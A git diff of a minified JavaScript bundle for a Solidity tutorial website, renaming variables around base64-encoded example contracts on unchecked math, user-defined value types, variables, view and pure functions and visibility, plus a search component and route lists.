50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQyNTYgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQyNTYgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],UG=`

                                              Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                                              +`,$f=({prev:s,next:a})=>r.jsx(A,{version:Tf,title:Uf,description:Lf,cyfrinLink:_f,html:Pf,prev:s,next:a,codes:Of}),qf="0.8.26",sV="Unchecked Math",aV="An example of unchecked math in Solidity",nV="https://www.cyfrin.io/glossary/unchecked-math-solidity-code-example",lV=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQyNTYgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQyNTYgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],pV=`

                                              Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                                              Disabling overflow / underflow check saves gas.

                                              // SPDX-License-Identifier: MIT
                                               pragma solidity ^0.8.26;
                                              @@ -12443,7 +12815,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
                                                       }
                                                   }
                                               }
                                              -
                                              `,_G=({prev:s,next:a})=>r.jsx(A,{version:zG,title:DG,description:EG,cyfrinLink:QG,html:UG,prev:s,next:a,codes:TG}),LG="0.8.26",OG="User Defined Value Types",PG="User defined value types",$G="https://www.cyfrin.io/glossary/user-defined-value-types-solidity-code-example",qG=[{fileName:"UserDefinedValueTypes.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIENvZGUgY29waWVkIGZyb20gb3B0aW1pc20KLy8gaHR0cHM6Ly9naXRodWIuY29tL2V0aGVyZXVtLW9wdGltaXNtL29wdGltaXNtL2Jsb2IvZGV2ZWxvcC9wYWNrYWdlcy9jb250cmFjdHMtYmVkcm9jay9zcmMvZGlzcHV0ZS9saWIvTGliVURULnNvbAoKdHlwZSBEdXJhdGlvbiBpcyB1aW50NjQ7Cgp0eXBlIFRpbWVzdGFtcCBpcyB1aW50NjQ7Cgp0eXBlIENsb2NrIGlzIHVpbnQxMjg7CgpsaWJyYXJ5IExpYkNsb2NrIHsKICAgIGZ1bmN0aW9uIHdyYXAoRHVyYXRpb24gX2R1cmF0aW9uLCBUaW1lc3RhbXAgX3RpbWVzdGFtcCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChDbG9jayBjbG9ja18pCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBkYXRhIHwgRHVyYXRpb24gfCBUaW1lc3RhbXAKICAgICAgICAgICAgLy8gYml0ICB8IDAgLi4uIDYzIHwgNjQgLi4uIDEyNwogICAgICAgICAgICBjbG9ja18gOj0gb3Ioc2hsKDB4NDAsIF9kdXJhdGlvbiksIF90aW1lc3RhbXApCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGR1cmF0aW9uKENsb2NrIF9jbG9jaykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChEdXJhdGlvbiBkdXJhdGlvbl8pCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBkdXJhdGlvbl8gOj0gc2hyKDB4NDAsIF9jbG9jaykKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGltZXN0YW1wKENsb2NrIF9jbG9jaykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChUaW1lc3RhbXAgdGltZXN0YW1wXykKICAgIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHRpbWVzdGFtcF8gOj0gc2hyKDB4QzAsIHNobCgweEMwLCBfY2xvY2spKQogICAgICAgIH0KICAgIH0KfQoKLy8gQ2xvY2sgbGlicmFyeSB3aXRob3V0IHVzZXIgZGVmaW5lZCB2YWx1ZSB0eXBlCmxpYnJhcnkgTGliQ2xvY2tCYXNpYyB7CiAgICBmdW5jdGlvbiB3cmFwKHVpbnQ2NCBfZHVyYXRpb24sIHVpbnQ2NCBfdGltZXN0YW1wKQogICAgICAgIGludGVybmFsCiAgICAgIC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ICAgICAgLy8gTGliQ2xvY2sgZXhhbXBsZQogICAgICAgIENsb2NrIGNsb2NrID0gQ2xvY2sud3JhcCgwKTsKICAgICAgICBjbG9jayA9IExpYkNsb2NrLndyYXAoZCwgdCk7CiAgICAgICAgLy8gT29wcyEgd3Jvbmcgb3JkZXIgb2YgaW5wdXRzCiAgICAgICAgLy8gVGhpcyB3aWxsIG5vdCBjb21waWxlCiAgICAgICAgLy8gY2xvY2sgPSBMaWJDbG9jay53cmFwKHQsIGQpOwogICAgfQp9Cg=="}],sf=`
                                              // SPDX-License-Identifier: MIT
                                              +
                                              `,eV=({prev:s,next:a})=>r.jsx(A,{version:qf,title:sV,description:aV,cyfrinLink:nV,html:pV,prev:s,next:a,codes:lV}),cV="0.8.26",tV="User Defined Value Types",oV="User defined value types",rV="https://www.cyfrin.io/glossary/user-defined-value-types-solidity-code-example",iV=[{fileName:"UserDefinedValueTypes.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIENvZGUgY29waWVkIGZyb20gb3B0aW1pc20KLy8gaHR0cHM6Ly9naXRodWIuY29tL2V0aGVyZXVtLW9wdGltaXNtL29wdGltaXNtL2Jsb2IvZGV2ZWxvcC9wYWNrYWdlcy9jb250cmFjdHMtYmVkcm9jay9zcmMvZGlzcHV0ZS9saWIvTGliVURULnNvbAoKdHlwZSBEdXJhdGlvbiBpcyB1aW50NjQ7Cgp0eXBlIFRpbWVzdGFtcCBpcyB1aW50NjQ7Cgp0eXBlIENsb2NrIGlzIHVpbnQxMjg7CgpsaWJyYXJ5IExpYkNsb2NrIHsKICAgIGZ1bmN0aW9uIHdyYXAoRHVyYXRpb24gX2R1cmF0aW9uLCBUaW1lc3RhbXAgX3RpbWVzdGFtcCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChDbG9jayBjbG9ja18pCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBkYXRhIHwgRHVyYXRpb24gfCBUaW1lc3RhbXAKICAgICAgICAgICAgLy8gYml0ICB8IDAgLi4uIDYzIHwgNjQgLi4uIDEyNwogICAgICAgICAgICBjbG9ja18gOj0gb3Ioc2hsKDB4NDAsIF9kdXJhdGlvbiksIF90aW1lc3RhbXApCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGR1cmF0aW9uKENsb2NrIF9jbG9jaykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChEdXJhdGlvbiBkdXJhdGlvbl8pCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBkdXJhdGlvbl8gOj0gc2hyKDB4NDAsIF9jbG9jaykKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGltZXN0YW1wKENsb2NrIF9jbG9jaykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChUaW1lc3RhbXAgdGltZXN0YW1wXykKICAgIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHRpbWVzdGFtcF8gOj0gc2hyKDB4QzAsIHNobCgweEMwLCBfY2xvY2spKQogICAgICAgIH0KICAgIH0KfQoKLy8gQ2xvY2sgbGlicmFyeSB3aXRob3V0IHVzZXIgZGVmaW5lZCB2YWx1ZSB0eXBlCmxpYnJhcnkgTGliQ2xvY2tCYXNpYyB7CiAgICBmdW5jdGlvbiB3cmFwKHVpbnQ2NCBfZHVyYXRpb24sIHVpbnQ2NCBfdGltZXN0YW1wKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQxMjggY2xvY2spCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBjbG9jayA6PSBvcihzaGwoMHg0MCwgX2R1cmF0aW9uKSwgX3RpbWVzdGFtcCkKICAgICAgICB9CiAgICB9C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W5wdXRzCiAgICAgICAgLy8gVGhpcyB3aWxsIG5vdCBjb21waWxlCiAgICAgICAgLy8gY2xvY2sgPSBMaWJDbG9jay53cmFwKHQsIGQpOwogICAgfQp9Cg=="}],gV=`
                                              // SPDX-License-Identifier: MIT
                                               pragma solidity ^0.8.26;
                                               
                                               // Code copied from optimism
                                              @@ -12529,7 +12901,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
                                                       // clock = LibClock.wrap(t, d);
                                                   }
                                               }
                                              -
                                              `,af=({prev:s,next:a})=>r.jsx(A,{version:LG,title:OG,description:PG,cyfrinLink:$G,html:sf,prev:s,next:a,codes:qG}),nf="0.8.26",lf="Variables",pf="Local, state and global variables",ef="https://www.cyfrin.io/glossary/variables-solidity-code-example",cf=[{fileName:"Variables.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFZhcmlhYmxlcyB7CiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMgYXJlIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbi4KICAgIHN0cmluZyBwdWJsaWMgdGV4dCA9ICJIZWxsbyI7CiAgICB1aW50MjU2IHB1YmxpYyBudW0gPSAxMjM7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcoKSBwdWJsaWMgewogICAgICAgIC8vIExvY2FsIHZhcmlhYmxlcyBhcmUgbm90IHNhdmVkIHRvIHRoZSBibG9ja2NoYWluLgogICAgICAgIHVpbnQyNTYgaSA9IDQ1NjsKCiAgICAgICAgLy8gSGVyZSBhcmUgc29tZSBnbG9iYWwgdmFyaWFibGVzCiAgICAgICAgdWludDI1NiB0aW1lc3RhbXAgPSBibG9jay50aW1lc3RhbXA7IC8vIEN1cnJlbnQgYmxvY2sgdGltZXN0YW1wCiAgICAgICAgYWRkcmVzcyBzZW5kZXIgPSBtc2cuc2VuZGVyOyAvLyBhZGRyZXNzIG9mIHRoZSBjYWxsZXIKICAgIH0KfQo="}],tf=`

                                              There are 3 types of variables in Solidity

                                              +`,hV=({prev:s,next:a})=>r.jsx(A,{version:cV,title:tV,description:oV,cyfrinLink:rV,html:gV,prev:s,next:a,codes:iV}),IV="0.8.26",dV="Variables",CV="Local, state and global variables",jV="https://www.cyfrin.io/glossary/variables-solidity-code-example",AV=[{fileName:"Variables.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFZhcmlhYmxlcyB7CiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMgYXJlIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbi4KICAgIHN0cmluZyBwdWJsaWMgdGV4dCA9ICJIZWxsbyI7CiAgICB1aW50MjU2IHB1YmxpYyBudW0gPSAxMjM7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcoKSBwdWJsaWMgewogICAgICAgIC8vIExvY2FsIHZhcmlhYmxlcyBhcmUgbm90IHNhdmVkIHRvIHRoZSBibG9ja2NoYWluLgogICAgICAgIHVpbnQyNTYgaSA9IDQ1NjsKCiAgICAgICAgLy8gSGVyZSBhcmUgc29tZSBnbG9iYWwgdmFyaWFibGVzCiAgICAgICAgdWludDI1NiB0aW1lc3RhbXAgPSBibG9jay50aW1lc3RhbXA7IC8vIEN1cnJlbnQgYmxvY2sgdGltZXN0YW1wCiAgICAgICAgYWRkcmVzcyBzZW5kZXIgPSBtc2cuc2VuZGVyOyAvLyBhZGRyZXNzIG9mIHRoZSBjYWxsZXIKICAgIH0KfQo="}],uV=`

                                              There are 3 types of variables in Solidity

                                              • local
                                                • declared inside a function
                                                • @@ -12560,7 +12932,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller address sender = msg.sender; // address of the caller } } -`,of=({prev:s,next:a})=>r.jsx(A,{version:nf,title:lf,description:pf,cyfrinLink:ef,html:tf,prev:s,next:a,codes:cf}),rf="0.8.26",gf="View and Pure Functions",hf="An example of view and pure functions in Solidity",If="https://www.cyfrin.io/glossary/view-and-pure-functions-solidity-code-example",df=[{fileName:"ViewAndPureFunctions.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFZpZXdBbmRQdXJlIHsKICAgIHVpbnQyNTYgcHVibGljIHggPSAxOwoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSB0aGUgc3RhdGUuCiAgICBmdW5jdGlvbiBhZGRUb1godWludDI1NiB5KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggKyB5OwogICAgfQoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSBvciByZWFkIGZyb20gdGhlIHN0YXRlLgogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgaSwgdWludDI1NiBqKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGkgKyBqOwogICAgfQp9Cg=="}],Cf=`

                                                  Getter functions can be declared view or pure.

                                                  +`,yV=({prev:s,next:a})=>r.jsx(A,{version:IV,title:dV,description:CV,cyfrinLink:jV,html:uV,prev:s,next:a,codes:AV}),mV="0.8.26",bV="View and Pure Functions",wV="An example of view and pure functions in Solidity",kV="https://www.cyfrin.io/glossary/view-and-pure-functions-solidity-code-example",ZV=[{fileName:"ViewAndPureFunctions.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFZpZXdBbmRQdXJlIHsKICAgIHVpbnQyNTYgcHVibGljIHggPSAxOwoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSB0aGUgc3RhdGUuCiAgICBmdW5jdGlvbiBhZGRUb1godWludDI1NiB5KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggKyB5OwogICAgfQoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSBvciByZWFkIGZyb20gdGhlIHN0YXRlLgogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgaSwgdWludDI1NiBqKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGkgKyBqOwogICAgfQp9Cg=="}],WV=`

                                                  Getter functions can be declared view or pure.

                                                  View function declares that no state will be changed.

                                                  Pure function declares that no state variable will be changed or read.

                                                  // SPDX-License-Identifier: MIT
                                                  @@ -12579,7 +12951,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
                                                           return i + j;
                                                       }
                                                   }
                                                  -
                                                  `,jf=({prev:s,next:a})=>r.jsx(A,{version:rf,title:gf,description:hf,cyfrinLink:If,html:Cf,prev:s,next:a,codes:df}),Af="0.8.26",uf="Visibility",yf="An example of external, internal, private and public functions in Solidity",mf="https://www.cyfrin.io/glossary/visibility-solidity-code-example",bf=[{fileName:"Visibility.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEJhc2UgewogICAgLy8gUHJpdmF0ZSBmdW5jdGlvbiBjYW4gb25seSBiZSBjYWxsZWQKICAgIC8vIC0gaW5zaWRlIHRoaXMgY29udHJhY3QKICAgIC8vIENvbnRyYWN0cyB0aGF0IGluaGVyaXQgdGhpcyBjb250cmFjdCBjYW5ub3QgY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gcHJpdmF0ZUZ1bmMoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAicHJpdmF0ZSBmdW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gogICAgLy8gZnVuY3Rpb24gdGVzdFByaXZhdGVGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBwcml2YXRlRnVuYygpOwogICAgLy8gfQoKICAgIC8vIEludGVybmFsIGZ1bmN0aW9uIGNhbiBiZSBjYWxsZWQgaW5zaWRlIGNoaWxkIGNvbnRyYWN0cy4KICAgIGZ1bmN0aW9uIHRlc3RJbnRlcm5hbEZ1bmMoKSBwdWJsaWMgcHVyZSBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQp9Cg=="}],wf=`

                                                  Functions and state variables have to declare whether they are accessible by other contracts.

                                                  +`,GV=({prev:s,next:a})=>r.jsx(A,{version:mV,title:bV,description:wV,cyfrinLink:kV,html:WV,prev:s,next:a,codes:ZV}),BV="0.8.26",fV="Visibility",VV="An example of external, internal, private and public functions in Solidity",YV="https://www.cyfrin.io/glossary/visibility-solidity-code-example",XV=[{fileName:"Visibility.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEJhc2UgewogICAgLy8gUHJpdmF0ZSBmdW5jdGlvbiBjYW4gb25seSBiZSBjYWxsZWQKICAgIC8vIC0gaW5zaWRlIHRoaXMgY29udHJhY3QKICAgIC8vIENvbnRyYWN0cyB0aGF0IGluaGVyaXQgdGhpcyBjb250cmFjdCBjYW5ub3QgY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gcHJpdmF0ZUZ1bmMoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAicHJpdmF0ZSBmdW5jdGlvbiBjYWxsZWQiOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RQcml2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mUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBwcml2YXRlRnVuYygpOwogICAgLy8gfQoKICAgIC8vIEludGVybmFsIGZ1bmN0aW9uIGNhbiBiZSBjYWxsZWQgaW5zaWRlIGNoaWxkIGNvbnRyYWN0cy4KICAgIGZ1bmN0aW9uIHRlc3RJbnRlcm5hbEZ1bmMoKSBwdWJsaWMgcHVyZSBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQp9Cg=="}],RV=`

                                                  Functions and state variables have to declare whether they are accessible by other contracts.

                                                  Functions can be declared as

                                                  • public - any contract and account can call
                                                  • @@ -12654,4 +13026,4 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller return internalFunc(); } } -`,kf=({prev:s,next:a})=>r.jsx(A,{version:Af,title:uf,description:yf,cyfrinLink:mf,html:wf,prev:s,next:a,codes:bf}),Zf=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),Wf="_component_efeb7_1",Bf="_icon_efeb7_8",Gf="_input_efeb7_12",Ie={component:Wf,icon:Bf,input:Gf},ff=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return r.jsxs("div",{className:Ie.component,children:[r.jsx(Zf,{size:18,className:Ie.icon}),r.jsx("input",{className:Ie.input,placeholder:"Search",value:s,onChange:n})]})};var Vf="Expected a function",Xo=NaN,Yf="[object Symbol]",Xf=/^\s+|\s+$/g,vf=/^[-+]0x[0-9a-f]+$/i,Rf=/^0b[01]+$/i,Nf=/^0o[0-7]+$/i,Hf=parseInt,Ff=typeof Il=="object"&&Il&&Il.Object===Object&&Il,Kf=typeof self=="object"&&self&&self.Object===Object&&self,Mf=Ff||Kf||Function("return this")(),Sf=Object.prototype,xf=Sf.toString,Jf=Math.max,zf=Math.min,de=function(){return Mf.Date.now()};function Df(s,a,n){var l,p,e,c,t,o,i=0,I=!1,d=!1,j=!0;if(typeof s!="function")throw new TypeError(Vf);a=vo(a)||0,gc(n)&&(I=!!n.leading,d="maxWait"in n,e=d?Jf(vo(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function u(k){var G=l,Y=p;return l=p=void 0,i=k,c=s.apply(Y,G),c}function m(k){return i=k,t=setTimeout(h,a),I?u(k):c}function b(k){var G=k-o,Y=k-i,x=a-G;return d?zf(x,e-Y):x}function B(k){var G=k-o,Y=k-i;return o===void 0||G>=a||G<0||d&&Y>=e}function h(){var k=de();if(B(k))return g(k);t=setTimeout(h,b(k))}function g(k){return t=void 0,j&&l?u(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),i=0,l=o=p=t=void 0}function y(){return t===void 0?c:g(de())}function Z(){var k=de(),G=B(k);if(l=arguments,p=this,o=k,G){if(t===void 0)return m(o);if(d)return t=setTimeout(h,a),u(o)}return t===void 0&&(t=setTimeout(h,a)),c}return Z.cancel=C,Z.flush=y,Z}function gc(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function Ef(s){return!!s&&typeof s=="object"}function Qf(s){return typeof s=="symbol"||Ef(s)&&xf.call(s)==Yf}function vo(s){if(typeof s=="number")return s;if(Qf(s))return Xo;if(gc(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=gc(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace(Xf,"");var n=Rf.test(s);return n||Nf.test(s)?Hf(s.slice(2),n?2:8):vf.test(s)?Xo:+s}var Tf=Df;const Uf=Ko(Tf),_f={leading:!1,trailing:!0};function Lf(s,a,n){return W.useCallback(Uf(s,a,_f),n)}function Of(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let i=0;ia+p)}const qf=["/visibility"],sV=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],aV=["/visibility"],nV=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],lV=["/view-and-pure-functions"],pV=["/view-and-pure-functions"],eV=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/evm/storage","/ether-units","/enum","/constants","/assembly-variable","/array"],cV=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],tV=["/variables"],oV=["/variables"],rV=["/variables","/state-variables","/shadowing-inherited-state-variables","/evm/storage"],iV=["/variables","/user-defined-value-types","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/evm/storage","/evm/memory","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],gV=["/user-defined-value-types"],hV=["/user-defined-value-types"],IV=["/user-defined-value-types"],dV=["/user-defined-value-types","/structs","/primitives"],CV=["/user-defined-value-types"],jV=["/unchecked-math","/gas-golf","/gas"],AV=["/unchecked-math"],uV=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],yV=["/unchecked-math","/hacks/overflow"],mV=["/unchecked-math","/hacks/overflow"],bV=["/try-catch","/error","/assembly-error"],wV=["/try-catch","/error"],kV=["/transient-storage"],ZV=["/transient-storage","/hacks/accessing-private-data","/evm/storage","/data-locations","/app/write-to-any-slot"],WV=["/tests/echidna"],BV=["/tests/echidna"],GV=["/super","/calling-contract"],fV=["/super"],VV=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],YV=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],XV=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],vV=["/structs"],RV=["/structs"],NV=["/structs","/primitives"],HV=["/state-variables"],FV=["/state-variables"],KV=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],MV=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],SV=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],xV=["/signature"],JV=["/signature"],zV=["/signature","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],DV=["/signature"],EV=["/signature"],QV=["/shadowing-inherited-state-variables"],TV=["/shadowing-inherited-state-variables"],UV=["/sending-ether"],_V=["/sending-ether","/sending-ether","/payable","/fallback"],LV=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],OV=["/sending-ether","/payable","/fallback","/app/ether-wallet"],PV=["/sending-ether","/fallback","/app/gasless-token-transfer"],$V=["/sending-ether","/delegatecall","/calling-contract","/call","/app/multi-call"],qV=["/sending-ether","/fallback"],s1=["/sending-ether","/fallback"],a1=["/sending-ether","/payable","/fallback"],n1=["/primitives"],l1=["/primitives"],p1=["/primitives"],e1=["/primitives"],c1=["/primitives"],t1=["/primitives","/hacks/deploy-different-contracts-same-address","/app/create2"],o1=["/primitives"],r1=["/primitives"],i1=["/new-contract","/hacks/deploy-different-contracts-same-address"],g1=["/new-contract"],h1=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],I1=["/new-contract","/hacks/deploy-different-contracts-same-address"],d1=["/mapping","/app/iterable-mapping"],C1=["/loop","/assembly-loop"],j1=["/loop"],A1=["/library"],u1=["/interface"],y1=["/inheritance"],m1=["/inheritance"],b1=["/inheritance"],w1=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],k1=["/immutable","/constants"],Z1=["/immutable"],W1=["/immutable"],B1=["/if-else"],G1=["/if-else"],f1=["/if-else"],V1=["/hello-world"],Y1=["/hello-world"],X1